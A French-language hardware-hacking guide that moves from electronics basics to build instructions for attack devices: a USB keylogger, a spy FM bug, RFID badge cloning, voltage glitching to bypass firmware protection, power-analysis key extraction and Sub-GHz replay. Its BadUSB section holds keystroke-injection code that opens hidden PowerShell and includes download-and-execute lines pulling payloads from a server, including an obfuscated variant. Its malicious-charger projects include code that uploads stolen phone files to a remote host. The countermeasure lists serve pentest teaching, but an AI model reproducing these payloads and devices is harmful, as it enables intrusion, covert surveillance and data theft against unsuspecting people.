Petit guide du hacking par l'électronique (2026)

🔌 Partie 0 – Fondamentaux de l'électronique pour le hack

0.1 Grandeurs électriques fondamentales

Loi d'Ohm : V = R × I    P = V × I    P = R × I²    P = V² / R

0.2 Unités et préfixes

0.3 Composants de base

0.4 Résistances – code couleur et diviseur de tension

Exemple : Rouge – Rouge – Marron = 22 × 10 = 220 Ω

Diviseur de tension : Vout = Vin × R2 / (R1 + R2). Utile pour abaisser une tension à mesurer.

0.5 Condensateurs – types et ordres de grandeur

Valeurs typiques : 100 nF (découplage), 10 µF (filtrage local), 100 µF (alimentation), 1000 µF (gros filtrage).

0.6 Diodes et transistors – détails

0.7 Circuits imprimés (PCB) – règles avancées

• Pistes courtes : moins de bruit et d'inductance.
• Plan de masse continu : réduit les interférences (EMI), améliore le retour de masse.
• Découplage : condensateur 100 nF à moins de 5 mm de chaque CI. Ajouter 10 µF pour chaque circuit intégré de puissance.
• Largeur des pistes : 0,3 mm pour 0,5 A ; 0,6 mm pour 1 A ; 1 mm pour 2 A ; 2 mm pour 5 A (pour 35µm cuivre).
• Éviter les boucles de courant : le retour du courant doit suivre le plus court chemin, ne pas créer d'antenne.
• Séparer les masses analogique/numérique/puissance : les rejoindre en un point unique (étoile).
• Via stitching : relier les plans de masse entre couches tous les 5-10 mm pour réduire l'inductance.
• Angle des pistes : préférer des angles à 45° plutôt qu'à 90° pour éviter les réflexions.

0.8 Symboles électroniques normalisés (IEC 60617) – détaillés

0.9 Composants avancés – Rôle et exemples de hack (tableau enrichi)

0.10 Calculs pratiques pour le hack

• Résistance pour LED : R = (Vsource - Vled) / Iled. Ex: 5V, LED rouge 2V/20mA → R = (5-2)/0.02 = 150Ω.
• Diviseur pour mesurer une tension > Vref ADC : Choisir R1 et R2 pour que Vout max ≤ Vref. Ex: mesurer batterie 12V avec ADC 5V, R1=10k, R2=5k donne Vmax=4V.
• Filtre passe-bas RC : Fréquence de coupure fc = 1/(2πRC). Ex: pour anti-aliasing, fc = 1/(2π·10k·100nF) = 159 Hz.
• Constante de temps RC : τ = R×C. Après 5τ, condensateur chargé à 99%.
• Puissance dissipée dans une résistance : P = R×I². Vérifier la puissance nominale (1/4W, 1/2W...).

0.11 Guide PCB niveau ingénieur (EMI, retour de masse, impédance) – approfondi

• Stack-up 4 couches recommandé : Top (signal) / Masse / Alim / Bottom (signal). Avantages : plan de masse dédié, blindage.
• Plan de masse continu avec via stitching tous les 5–10 mm. Réduit les boucles de masse.
• Séparation des zones : analogique, numérique, puissance avec gardes d'au moins 5 mm. Les plans de masse peuvent être fendus si nécessaire, mais avec un pont étroit.
• Impédance contrôlée : pour signaux > 50 MHz (USB 90 Ω différentiel, SPI 50 Ω, Ethernet 100 Ω). Calcul avec outils (KiCad, Polar).
• Anti-EMI : découplage serré, boucles de courant minimisées, guard ring autour des zones sensibles, via fence pour les signaux RF.
• Gestion thermique : vias thermiques sous composants de puissance, pastilles de cuivre larges.
• Règles de routage : éviter les angles droits, préférer 45°, ne pas croiser les signaux sensibles, garder les horloges courtes.

0.12 Protocoles de communication – bases pour le reverse

Exemple pratique : Repérer des points de test sur un PCB, connecter un analyseur logique, et décoder les trames pour trouver UART debug.

🛠️ Partie 1 – Outils et techniques de base

1.1 Multimètre

Indispensable pour mesurer tensions, courants, résistances, continuité. Savoir l'utiliser pour diagnostiquer un circuit. Choisir un modèle avec capacité, fréquence et diode test.

1.2 Oscilloscope

Permet de visualiser des signaux, mesurer des fréquences, analyser des communications série. Un oscilloscope USB bas coût (ex. Hantek 6022BE) suffit pour débuter. Band passante minimale 20 MHz.

1.3 Analyseur logique

Pour décoder les protocoles numériques (UART, I2C, SPI, 1-Wire). Des clones de Saleae à 10€ (24MHz 8 canaux) fonctionnent avec Sigrok/PulseView.

1.4 Fer à souder et techniques de soudure

• Choix de la température : 320–350°C pour plomb, 350–380°C pour sans plomb.
• Utilisation de flux, de tresse à dessouder, de pompe à dessouder.
• Pratique sur des protoboards avant de passer aux PCB.
• Conseils : étamer la panne, nettoyer avec éponge humide, ne pas chauffer trop longtemps.

1.5 Alimentation de laboratoire

Une alimentation variable (0-30V, 0-5A) est idéale. Sinon, on peut utiliser des batteries + régulateurs. Important : protection contre les courts-circuits.

1.6 Générateur de signaux

Utile pour tester des filtres, amplifier des signaux. Des modèles DDS pas chers (AD9850) peuvent être interfacés avec Arduino.

⚡ Partie 2 – Projets hardware : de la conception à la réalisation

2.1 Tableau récapitulatif des projets

2.2 Projet détaillé : Keylogger USB matériel

Contexte : Un keylogger matériel se branche entre le clavier et l'ordinateur. Il enregistre toutes les frappes sans laisser de trace logicielle. Indétectable par l'OS, il est redoutable pour du social engineering ou du test d'intrusion physique.

Composants :

• Raspberry Pi Pico (ou Arduino Pro Micro) – pour l'émulation USB HID.
• 2x connecteurs USB A femelle (pour l'entrée clavier et la sortie PC).
• Carte micro-SD avec module (optionnelle, pour stockage local).
• Résistances 10kΩ (pull-up pour les lignes de données).
• Câble USB mâle (pour l'alimentation).
• Boîtier imprimé 3D ou boîte de dérivation.

Schéma de principe :

[Clavier] --USB-- [Connecteur entrée] -- lignes D+/D- -- [µC] -- lignes D+/D- -- [Connecteur sortie] --USB-- [PC]
Le µC doit agir comme un hub USB ou un périphérique composite : il reçoit les scancodes du clavier, les enregistre, et les retransmet à l'ordinateur.

Câblage :

• Connecteur entrée : broches VCC, GND, D+, D- reliées au µC.
• Connecteur sortie : broches D+, D- également reliées au µC (il doit gérer les deux rôles).
• Alimentation : le µC peut être alimenté par le port USB de l'ordinateur (5V).
• La carte micro-SD se connecte en SPI.

Fonctionnement : Le µC se comporte comme un hub USB. Il doit implémenter un stack USB complexe. Une alternative plus simple est d'utiliser un Teensy 4.0 avec deux ports USB natifs. Sinon, on peut utiliser un Raspberry Pi Zero (mais plus gros).

Code conceptuel (CircuitPython avec Pico) – simplifié :

# Ce code est une ébauche : pour un vrai keylogger, il faut un stack USB host.
# Nous simulons ici une frappe toutes les 5 secondes.
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import storage
import time

kbd = Keyboard(usb_hid.devices)
log_file = "/sd/log.txt"  # si carte SD présente

while True:
    time.sleep(5)
    frappe = "a"
    with open(log_file, "a") as f:
        f.write(frappe + "\n")
    kbd.send(Keycode.A)
    kbd.release_all()

Variante avancée : Utiliser un MAX3421E (contrôleur USB host) avec un Arduino pour intercepter les signaux du clavier réel.

Contre-mesures :

• Inspection visuelle du câble clavier (chercher un renflement suspect).
• Utilisation de claviers sans fil (RF) moins faciles à intercepter.
• Politique de sécurité : interdiction des périphériques USB non contrôlés.

2.3 Projet détaillé : Sniffeur RF pour satellites météo (APT)

Contexte : Les satellites météo NOAA transmettent des images en clair sur 137 MHz. Avec un récepteur SDR à 20€, vous pouvez recevoir ces images et les décoder.

Composants :

• RTL-SDR (R820T2) – clé USB ~20€.
• Raspberry Pi Zero 2 W (ou tout PC).
• Antenne dipôle quart d'onde pour 137 MHz (calcul : 1/4 d'onde = 300/137/4 ≈ 0.55m, soit 55 cm par brin).
• Batterie USB (power bank).

Logiciels :

• rtl_fm (pour la réception)
• sox (traitement audio)
• wxtoimg ou satdump (décodage image)
• gpredict (prévision des passages)

Étapes :

1. Construire l'antenne : deux brins de fil rigide (cuivre, alu) de 52 cm (ajustez), écartés à 120°.
2. Connecter le RTL-SDR au Pi.
3. Vérifier les fréquences des satellites NOAA : 137.1 MHz (NOAA 15), 137.9125 MHz (NOAA 18), 137.62 MHz (NOAA 19).
4. Lancer la capture lors d'un passage (gpredict vous donne les heures).
5. Commande : rtl_fm -f 137.1M -M raw -s 48k | sox -t raw -r 48k -e signed -c 1 -b 16 - output.wav
6. Décoder : wxtoimg output.wav image.png

Difficultés : Orientation de l'antenne, interférences urbaines. Prévoir un préampli si signal faible.

Améliorations : Ajouter un filtre passe-bande 137 MHz pour améliorer le rapport signal/bruit.

Contre-mesures : Les satellites météo ne sont pas chiffrés, donc pas de contre-mesure. Mais pour des communications plus sensibles, le chiffrement s'impose.

2.4 Projet détaillé : Sonde USB exfiltratrice (chargeur piégé)

Contexte : Évolution du juice-jacking : un chargeur public modifié peut voler vos données. Le projet "ChoiceJacking" (USENIX 2025) montre qu'avec un ESP32, on peut contourner la confirmation utilisateur en moins d'une seconde.

Composants :

• ESP32-S2/S3 (supporte USB Host).
• Puce USB-C Power Delivery CH224K (optionnelle).
• Carte micro-SD.
• Chargeur USB factice à ouvrir.
• Régulateur 3,3V.
• Module Bluetooth intégré à l'ESP32.

Principe : L'ESP32 se connecte en USB host. Il monte le stockage MTP du téléphone et copie les fichiers (photos, documents). Pour contourner la confirmation, il utilise la méthode Bluetooth (émule un clavier pour valider).

Code conceptuel (ESP-IDF) :

// Initialisation USB host, montage MTP, copie de fichiers...
#include "esp_wifi.h"
#include "esp_http_client.h"

void send_file(char *filename) {
    esp_http_client_config_t config = { .url = "http://serveur/upload", .method = HTTP_METHOD_POST };
    esp_http_client_handle_t client = esp_http_client_init(&config);
    esp_http_client_open(client, filesize);
    esp_http_client_write(client, file_buffer, filesize);
    esp_http_client_perform(client);
    esp_http_client_cleanup(client);
}

Contre-mesures :

• iOS 18.4+ / Android 15+ exigent authentification biométrique.
• Paramètre "Toujours charger uniquement" dans options développeur.
• USB-C data blockers (USB condom).

2.5 Projet détaillé : Ouvre-porte par électroaimant

Contexte : Ouvrir une porte électrique (gâche électrique) à distance. Utilisé en pentest physique pour tester les accès.

Composants :

• Électroaimant 12V (type gâche électrique de porte).
• MOSFET IRFZ44N (canal N, Vds=55V, Id=49A).
• Résistance 10kΩ (pull-down sur la grille).
• Diode 1N4007 (roue libre).
• Batterie 12V (ou alimentation).
• ESP32/Arduino pour commande (optionnel : module RF 433MHz).

Schéma :

µC (pin) ── résistance 10kΩ ── GND
          └─ Grille MOSFET
Drain MOSFET ── électroaimant (+) ── +12V
Source MOSFET ── GND
Diode en parallèle sur l'électroaimant (cathode vers +12V)

Code Arduino :

const int mosfetPin = 9;
void setup() { pinMode(mosfetPin, OUTPUT); }
void loop() {
    digitalWrite(mosfetPin, HIGH); // active
    delay(5000); // maintient 5 secondes
    digitalWrite(mosfetPin, LOW);
    delay(5000);
}

Améliorations : Ajouter un récepteur 433MHz pour déclencher à distance, ou un capteur d'ouverture (reed switch) pour confirmer.

Contre-mesures : Les portes sécurisées utilisent des électroaimants à "security mode" (nécessitent une impulsion spécifique).

2.6 Projet détaillé : Micro espion FM

Contexte : Un petit émetteur FM qui diffuse les sons ambiants sur une radio. Classique pour débuter en RF.

Composants :

• Transistor 2N3904 (NPN général).
• Résistances : 4,7kΩ, 10kΩ, 100Ω.
• Condensateurs : 10pF, 100pF, 10µF électro.
• Électret micro (2 fils).
• Bobine : 4 spires de fil émaillé sur mandrin 5mm.
• Antenne : fil 50 cm.
• Pile 3V (CR2032).

Schéma (oscillateur Colpitts) : Rechercher "FM bug circuit" sur Internet. Le micro module la fréquence de l'oscillateur via sa capacité variable.

Réalisation :

1. Souder les composants sur un petit PCB ou une plaque d'essai.
2. Régler la fréquence en écartant ou rapprochant les spires de la bobine.
3. La portée est de quelques dizaines de mètres.

Difficultés : Stabilité de fréquence, interférences.

Contre-mesures : Détecteurs de bugs (scanners RF).

2.7 Projet détaillé : Détecteur de champ magnétique (effet Hall)

Contexte : Détecter un aimant (ouverture de porte, présence).

Composants :

• Capteur à effet Hall A3144 (sortie digitale, actif bas).
• LED, résistance 220Ω, buzzer (optionnel).
• Pile 5V (USB).

Schéma :

A3144 :
Vcc ── 5V
GND ── GND
OUT ───┬── LED+ (avec résistance) ── GND
       └── buzzer+ ── GND

En présence d'un champ magnétique (pôle sud), la sortie passe à l'état bas, la LED s'allume.

Utilisation : Coller un aimant sur la porte, le capteur sur le cadre. Quand la porte s'ouvre, l'aimant s'éloigne, la LED s'éteint (ou l'inverse).

Améliorations : Ajouter un microcontrôleur pour compter les ouvertures, envoyer une alerte WiFi.

2.8 Projet détaillé : Analyseur logique DIY (FX2LP)

Contexte : La puce CY7C68013A (FX2LP) des cartes chinoises à 5€ peut être transformée en analyseur logique 24 MHz 8 canaux avec Sigrok.

Composants :

• Carte CY7C68013A (vérifier qu'elle a une EEPROM).
• Câble USB.
• Fils avec pinces ou connecteurs.

Étapes :

1. Télécharger le firmware fx2lafw (inclus dans sigrok).
2. Flasher avec cycfx2prog ou fxload.
3. Connecter les signaux à analyser (max 3.3V ou 5V tolérant).
4. Lancer PulseView, configurer les canaux, capturer.

Exemple de commande :

# Flasher (sous Linux)
sudo fxload -t fx2 -I fx2lafw.hex -D /dev/bus/usb/xxx/yyy
# Utiliser sigrok-cli
sigrok-cli --driver fx2lafw --config samplerate=24m --channels 0-7 --time 1s --output-file capture.sr

Utilisation : Décodez UART, I2C, SPI, etc. pour reverse engineering.

2.9 BadUSB programmable (Digispark / Raspberry Pi Pico)

Composants :

• Digispark (Attiny85) – version classique, ~3-5 € (attention : clones chinois parfois capricieux avec le timing USB)
• OU Raspberry Pi Pico / Pico 2 (RP2040/RP2350) – recommandé en 2026 pour sa stabilité USB HID native et CircuitPython/Arduino support
• Câble USB-A mâle (ou adaptateur pour tester)

Principe : Le microcontrôleur se fait passer pour un clavier USB HID (Human Interface Device). Dès qu'il est branché, il simule des frappes clavier ultra-rapides pour ouvrir un terminal, télécharger un payload ou exécuter des commandes. L'attaque est "fire-and-forget" : aucune interaction utilisateur requise (sauf UAC sur Windows si admin requis).

Variante 1 – Digispark (Attiny85) – Code classique

Utilise la bibliothèque DigiKeyboard.h (installée via Arduino IDE + Digistump AVR Boards).

#include "DigiKeyboard.h"

void setup() {
  // Pas besoin de pinMode, tout est géré par DigiKeyboard
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);          // Touche neutre pour "réveiller" le clavier
  DigiKeyboard.delay(1500);               // Attendre que Windows reconnaisse le périphérique

  // Ouvrir Exécuter (Win + R)
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(400);

  // Ouvrir cmd
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(800);

  // Exemple : récupérer nom utilisateur + envoyer vers un fichier
  DigiKeyboard.print(F("whoami > C:\\temp\\who.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);

  // Variante plus agressive : télécharger et exécuter un payload PowerShell
  // DigiKeyboard.print(F("powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')\""));
  // DigiKeyboard.sendKeyStroke(KEY_ENTER);

  // Boucle infinie pour ne pas rejouer
  for(;;) {
    DigiKeyboard.delay(1000);
  }
}

Variante 2 – Raspberry Pi Pico (CircuitPython) – Recommandée 2026

Plus simple à développer, pas de compilation Arduino, édition directe du fichier code.py. Utilise adafruit_hid.

import time
import usb_hid
import board
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

print("BadUSB Pico démarré - Attente 2s pour reconnaissance USB...")
time.sleep(2.0)

# Win + R
kbd.press(Keycode.WINDOWS, Keycode.R)
kbd.release_all()
time.sleep(0.4)

# Ouvrir PowerShell en mode caché
layout.write("powershell -WindowStyle Hidden -NoProfile")
kbd.send(Keycode.ENTER)
time.sleep(1.0)

# Exemple payload : info système + exfil vers fichier (ou serveur)
payload = """
$who = whoami
$comp = hostname
$ip = (Invoke-RestMethod -Uri http://ipinfo.io/json).ip
\"Utilisateur: $who | Machine: $comp | IP: $ip\" | Out-File -FilePath C:\\temp\\info.txt -Encoding utf8
"""
layout.write(payload)
kbd.send(Keycode.ENTER)
time.sleep(0.5)

# Variante : télécharger et exécuter depuis Internet
# layout.write("IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/evil.ps1')")
# kbd.send(Keycode.ENTER)

print("Payload envoyé !")
while True:
    time.sleep(1)

Variante avancée : Exfiltration Internet + obfuscation

Ajoute un téléchargement de payload distant (attention : très détectable par EDR modernes en 2026 – Defender, CrowdStrike, etc.).

Exemple PowerShell obfuscé (à insérer dans le code ci-dessus) :

$w='Net.WebClient';$d=New-Object $w;$s='http://votre-serveur/p.ps1';IEX($d.DownloadString($s))

Contre-mesures 2026 (très renforcées)

• Windows 11 24H2+ / Defender for Endpoint : détection native des BadUSB via "Device Control" + blocage des HID non autorisés.
• Group Policy : interdiction des périphériques USB non approuvés (via Intune ou GPO "Removable Storage Access").
• BIOS/UEFI : désactiver "Legacy USB Support" ou activer "USB Device Restrictions".
• Physique : ports USB désactivés, "USB condom" ou ports scellés.
• EDR : règles sur les commandes PowerShell obfuscées, téléchargements depuis IP suspectes, exécution depuis cmd/powershell non interactif.

Améliorations possibles :

• Ajouter un bouton physique (sur GPIO) pour déclencher le payload → évite exécution immédiate au branchement.
• Mode "sneaky" : simuler frappe humaine (délais aléatoires entre 50-150 ms par touche).
• Support DuckyScript via CircuitPython (convertir scripts Rubber Ducky).

2.10 Projet avancé : Renifleur de trames RFID 125kHz

Composants : Arduino Nano, circuit résonant LC (bobine 1mH, cap 10nF), ampli-op (LM358), détecteur d'enveloppe, comparateur.

Principe : La bobine capte le champ magnétique émis par le lecteur RFID et la réponse du badge. Le signal est amplifié, filtré, puis numérisé par l'ADC de l'Arduino. Le firmware analyse les trames Manchester/EM4100.

Objectif : Cloner un badge RFID 125kHz (non crypté) pour ouverture de porte.

2.11 Défense : comment détecter ces menaces

• Inspection visuelle des câbles et chargeurs. Utiliser une loupe.
• Utilisation de "USB condoms" (bloqueurs de données) : adaptateurs qui ne connectent que les broches d'alimentation.
• Analyse du trafic radio avec un SDR pour détecter des émissions suspectes dans l'environnement.
• Surveillance des processus et des connexions réseau (outils comme Wireshark, tcpdump, netstat).
• Politique de sécurité : interdiction des périphériques non contrôlés, utilisation de ports USB désactivés.
• Détecteur de bugs : scanner les fréquences avec un récepteur large bande.

🔬 Exercices de laboratoire

Exercice 1 : Mesures de base

Utilisez un multimètre pour mesurer la tension d'une pile, la résistance d'une résistance inconnue, vérifier la continuité d'un fil. Mesurez le courant dans un circuit simple (LED + résistance).

Exercice 2 : Réalisation d'un clignotant à LED

Sur une breadboard, réalisez un circuit avec une LED, une résistance, et un NE555 en mode astable pour faire clignoter la LED. Calculez la fréquence (formule : f = 1.44 / ((R1+2R2)C)).

Exercice 3 : Keylogger USB (simulation)

Programmez un Arduino Pro Micro pour qu'il se comporte comme un clavier et tape "Hello World" quand on le branche. (sans enregistrement). Testez sur un ordinateur de laboratoire.

Exercice 4 : Réception d'images météo NOAA

Avec un RTL-SDR et une antenne dipôle, capturez un passage de satellite NOAA et décodez l'image. Utilisez gpredict pour prévoir les passages.

Exercice 5 : Détection de champ magnétique

Câblez le capteur A3144 avec une LED et testez la détection d'un aimant. Ajoutez un buzzer pour faire une alarme.

Exercice 6 : Décodage d'un signal UART avec analyseur logique

Connectez un Arduino qui émet "Hello" en série (9600 bauds) à l'analyseur logique FX2LP, et décodez avec PulseView.

Exercice 7 : Soudure d'un circuit simple sur PCB

Réalisez un petit circuit (clignotant) sur une plaque d'essai, puis soudez-le sur un PCB vierge.

Exercice 8 (nouveau) : Identification des points de test

Sur un vieux routeur ou une caméra IP, ouvrez le boîtier, identifiez le microcontrôleur, cherchez des points de test carrés (souvent UART). Utilisez un multimètre en mode continuité pour trouver la masse, puis un analyseur logique pour repérer les signaux RX/TX.

🚀 Partie 4 – Projets 2026 : Attaques matérielles de pointe

4.1 Tableau récapitulatif des projets 2026

4.2 Projet détaillé : Voltage Glitching avec Pico Glitcher (sur cible LPC1343)

Contexte 2026 : Le glitch (injection de fautes) n'est plus réservé aux labos. Des outils open-source comme le Pico Glitcher démocratisent l'attaque, permettant de bypasser des sécurités matérielles sur des microcontrôleurs courants (NXP LPC, STM32, etc.) . Des recherches récentes montrent même son application sur des accélérateurs IA (NPU) pour forcer des erreurs de classification .

Évolution matérielle : La version dominante en 2026 est la v2.1 (level shifters 1.8-5V, SMA trigger, options MOSFET). Une v3 existe avec pulse shaping avancé et multiplexing amélioré, mais reste plus chère et réservée aux experts cherchant une précision nanoseconde.

Composants :

• Raspberry Pi Pico (pour le glitcher) ou Pico Glitcher PCB version 2.1
• MOSFET (ex: IRLZ44N ou DMG2305) pour le circuit de glitch "crowbar"
• Résistance 10Ω (entre alim et cible)
• Alimentation de laboratoire (ou batterie + régulateur)
• Cible vulnérable : carte avec LPC1343 (ex: Olimex LPC-P1343) ou STM32F103
• Adaptateur UART (FTDI) pour communication avec la cible

Câblage détaillé (d'après le blog SySS) : Le tableau suivant montre les connexions pour le LPC1343.

Une résistance de 10Ω est placée entre l'alimentation et VDD de la cible. La sortie du glitch (drain du MOSFET) est connectée après cette résistance, et la source du MOSFET à la masse. Le signal de reset est également relié au trigger du Pico Glitcher.

Logiciel : La bibliothèque findus (Matthias Kesenheimer) est disponible sur PyPI et sa documentation complète sur ReadTheDocs. Version actuelle : 1.13.1 (oct 2024).

Configuration avec findus (Python) :

# Installation
python -m venv glitch-env
source glitch-env/bin/activate
pip install findus

# Script d'attaque sur LPC1343 (adapté de )
from pico_glitcher import PicoGlitcher
import time

class LPC1343Glitcher(PicoGlitcher):
    def classify(self, state):
        if b"Trigger OK" in state:
            return "G"  # Échec, pas de bypass
        elif b"Success" in state:
            return "R"  # SUCCÈS : CRP contourné
        elif b"Timeout" in state:
            return "Y"  # Timeout
        return "C"

glitcher = LPC1343Glitcher(port_target="/dev/ttyUSB0", port_rpico="/dev/ttyACM3")
glitcher.set_voltage(normal=3.3, glitch=0.0)  # Crowbar à 0V
glitcher.set_trigger_rising_edge()
glitcher.set_glitch_length(500)  # 500 ns
glitcher.set_delay_range(start=1000, end=5000, step=10)  # scan de 1µs à 5µs

results = glitcher.scan(num_trials=1000)
glitcher.plot_results(results)  # Visualisation des paramètres gagnants

Analyse des résultats : Les points "R" (rouges) sur le graphique indiquent les couples (délai, longueur de glitch) qui ont permis de contourner la protection. On affine ensuite autour de ces valeurs . Avec un second scan (délai 49800–51600 ns, longueur 100–110 ns), on peut souvent obtenir un succès en quelques secondes et dumper le firmware (vidéo SySS YouTube).

Contre-mesures : Détecteurs de glitch matériels (comparateur rapide), code constant-time, redondance des calculs. Le RP2350 (Pico 2) intègre quatre glitch detectors très sensibles, rendant les attaques crowbar classiques inefficaces (IOActive 2025). Toutefois, elles peuvent être contournées par laser FI ou EMFI double (RP2350 Hacking Challenge 2025).

4.3 Projet détaillé : ChoiceJacking – Chargeur USB-C malveillant

Contexte 2025-2026 : Le juice-jacking revient avec les attaques ChoiceJacking. Présenté à l'USENIX Security 2025 (Seattle, 13-15 août) par Florian Draschbacher et al. (Graz University of Technology), le papier "ChoiCeJaCking: Compromising Mobile Devices through Malicious Chargers like a Decade ago" montre que des chargeurs modifiés peuvent contourner la confirmation utilisateur en moins d'une seconde. CVEs associées : CVE-2024-20900 (Samsung), CVE-2024-43085 (Google/AOSP), patchés fin 2024.

Trois variantes d'attaque :

1. Méthode Bluetooth : Le chargeur émulé un clavier BT pour confirmer la demande de transfert.
2. Méthode KeyStroke Flood : Saturation du buffer clavier pour injecter la confirmation.
3. Méthode AOAP : Exploitation du protocole Android Open Access Protocol.

Composants spécifiques :

• ESP32-S3 (supporte USB Host et Bluetooth)
• Puce USB-C Power Delivery (CH224K ou IP2721) pour négocier jusqu'à 20V (optionnel)
• Carte micro-SD pour stockage exfiltré
• Chargeur USB-C factice à ouvrir
• Module Bluetooth (intégré à l'ESP32)

Code conceptuel (méthode 1 - Bluetooth) :

// Émulation clavier Bluetooth + USB Host MTP
#include "esp_bt_main.h"
#include "esp_bt_device.h"
#include "USBHID.h"

void choicejack_attack() {
    // 1. Établir connexion Bluetooth comme clavier
    esp_bt_dev_set_device_name("Bluetooth Keyboard");
    // ... appairage automatique si déjà associé
    
    // 2. Connecter en USB Host (MTP)
    usb_host_install(&host_config);
    
    // 3. Attendre que le téléphone affiche la demande de confirmation
    vTaskDelay(pdMS_TO_TICKS(500));
    
    // 4. Envoyer la touche "Entrée" via Bluetooth pour confirmer
    hid_send_key(KEY_ENTER);
    
    // 5. Exfiltrer les fichiers (photos, documents)
    mtp_mount();
    mtp_copy_file("/sdcard/DCIM/*.jpg", "/sd/");
}

Temps d'exfiltration : 133 ms confirmé dans le papier .

Contre-mesures : iOS 18.4 / Android 15 exigent une authentification biométrique pour les transferts de fichiers. Activez le paramètre "Toujours charger uniquement". Utilisez des USB-C data blockers.

4.4 Projet détaillé : AirTag / BLE Tracker Detector (inspiré ESP32 Marauder)

Contexte : En 2026, les trackers Bluetooth (AirTag, SmartTag) posent des problèmes de vie privée. Le firmware ESP32 Marauder ( GitHub ) est la référence pour l'ESP32, avec des modules dédiés : AirTag Sniff (capture payload) et AirTag Monitor (liste, RSSI, temps depuis dernier vu). Compatible avec les écrans CYD (Cheap Yellow Display).

Composants :

• ESP32-S3 (ou Heltec V3 pour meilleure sensibilité)
• Module GPS NEO-6M (pour triangulation et logging)
• Carte micro-SD pour stockage des logs
• Capteur de vibration SW-420 (détection de sabotage)
• Écran OLED 128x64 ou TFT tactile (CYD)
• Batterie 18650 + TP4056

Modes de détection (intégrés dans Marauder) :

• Scan de liste : surveillance de MAC/OUI spécifiques (ex: Apple, Tile).
• Détection de drones (Remote ID) : capture et décodage des trames ASTM F3411 (broadcast d'identification).
• Analyseur de randomisation MAC : corrélation comportementale pour identifier une même device changeant de MAC.
• Triangulation RSSI multi-nœuds : localisation approchée avec filtre de Kalman (avec plusieurs ESP32).

Exemple de configuration : Flasher Marauder via web installer, choisir le module "AirTag Monitor" dans l'interface.

// Paramètres de scan typiques
#define WIFI_CHAN_TIME 160      // ms par canal
#define BLE_SCAN_DUR 3000       // durée scan BLE (ms)
#define RSSI_THRESHOLD -90      // dBm

Contre-mesure : Les téléphones récents (iOS 18.4+, Android 15+) alertent automatiquement sur les trackers inconnus.

4.5 Projet détaillé : Side-Channel Power Analysis low-cost

Contexte : Les travaux du CEA montrent que le reverse-engineering par canaux auxiliaires devient accessible . On peut extraire des clés AES d'un microcontrôleur en analysant sa consommation.

Composants :

• Cible : Arduino (exécutant un AES logiciel) ou ESP32
• Résistance de shunt 0.1Ω - 1Ω (précise, faible inductance)
• Amplificateur INA219 (ou ampli-op LM358 + ADS1115 pour plus de rapidité)
• Oscilloscope USB (ou ADC rapide, ex: 1 MHz)
• PC avec Python + Jupyter pour l'analyse statistique

Principe : Mesurer la consommation pendant 1000 chiffrements avec des données différentes. En moyennant et en analysant les variations, on peut déduire les bits de la clé (Differential Power Analysis).

Code d'acquisition simplifié (Arduino + Python) :

// Arduino : exécute AES et envoie trigger sur pin D2
void loop() {
    digitalWrite(2, HIGH);  // début de l'opération
    aes_encrypt(plaintext, key);
    digitalWrite(2, LOW);
    plaintext++; // varie
}

# Python : acquisition synchrone
import numpy as np
import pico_scopes as ps  # bibliothèque pour oscilloscope USB

scope = ps.open()
traces = []
for i in range(1000):
    scope.arm_trigger(2, rising=True)
    trace = scope.capture()
    traces.append(trace)

# Analyse DPA (corrélation avec hypothèse de consommation)
traces = np.array(traces)
# ... corrélation de Pearson pour chaque hypothèse de sous-clé

Contre-mesures : Masquage aléatoire des données, constant-time, bruit actif, désynchronisation des horloges.

4.6 Projet : Multi-Radio Pocket Hacker (Sub-GHz + BLE)

Objectif : Créer un appareil portable capable de sniffer et rejouer des signaux Sub-GHz (télécommandes de portail, voitures anciennes) et de détecter/spammer des périphériques Bluetooth Low Energy (trackers, enceintes). C'est un successeur low-cost du Flipper Zero.

Composants :

• Cerveau : ESP32-S3 (type LILYGO T-Display-S3 ou simple DevKit + écran OLED I2C).
• Module Sub-GHz : CC1101 (~5€) couvrant 315/433/868/915 MHz.
• Module BLE additionnel (optionnel) : nRF24L01+ (~3€) pour sniffer des protocoles propriétaires (souris sans fil, etc.).
• Antennes : Antenne hélicoïdale pour CC1101, antenne PCB de l'ESP32 pour BLE.
• Batterie : 18650 ou 14500 + chargeur TP4056.
• Stockage : Carte micro-SD.

Montage pas à pas :

1. Alimenter l'ESP32 et le CC1101 en 3.3V depuis le régulateur intégré.
2. Connecter le CC1101 en SPI : broches SCK, MISO, MOSI, CSN (ex: GPIO5).
3. Si utilisation du nRF24, le connecter sur un autre CSN (ex: GPIO15) en partageant les mêmes lignes SPI.
4. Ajouter l'écran OLED I2C sur GPIO21 (SDA) et GPIO22 (SCL).
5. Programmer avec l'IDE Arduino ou PlatformIO en utilisant les bibliothèques ELECHOUSE_CC1101 et BLEDevice.

Code minimal pour le menu :

#include 
#include 
#include 
#include 

#define CC1101_CS 5
int scanTime = 5; // secondes pour le scan BLE

void setup() {
  Serial.begin(115200);
  ELECHOUSE_cc1101.setSpiPin(18, 19, 23, CC1101_CS);
  ELECHOUSE_cc1101.Init();
  ELECHOUSE_cc1101.setMHZ(433.92);
  BLEDevice::init("ESP32_Scanner");
  Serial.println("Multi-Radio prêt");
}

void loop() {
  if (Serial.available()) {
    char cmd = Serial.read();
    switch(cmd) {
      case '1': scanSubGHz(); break;
      case '2': replaySubGHz(); break;
      case '3': scanBLE(); break;
    }
  }
}

void scanSubGHz() {
  Serial.println("Scan Sub-GHz...");
  // Utiliser ELECHOUSE_cc1101.CheckReceiveFlag() pour capturer
}

void replaySubGHz() {
  Serial.println("Rejeu du signal...");
}

void scanBLE() {
  BLEScan* scan = BLEDevice::getScan();
  scan->setActiveScan(true);
  BLEScanResults results = scan->start(scanTime, false);
  Serial.printf("Appareils BLE trouvés : %d\n", results.getCount());
}

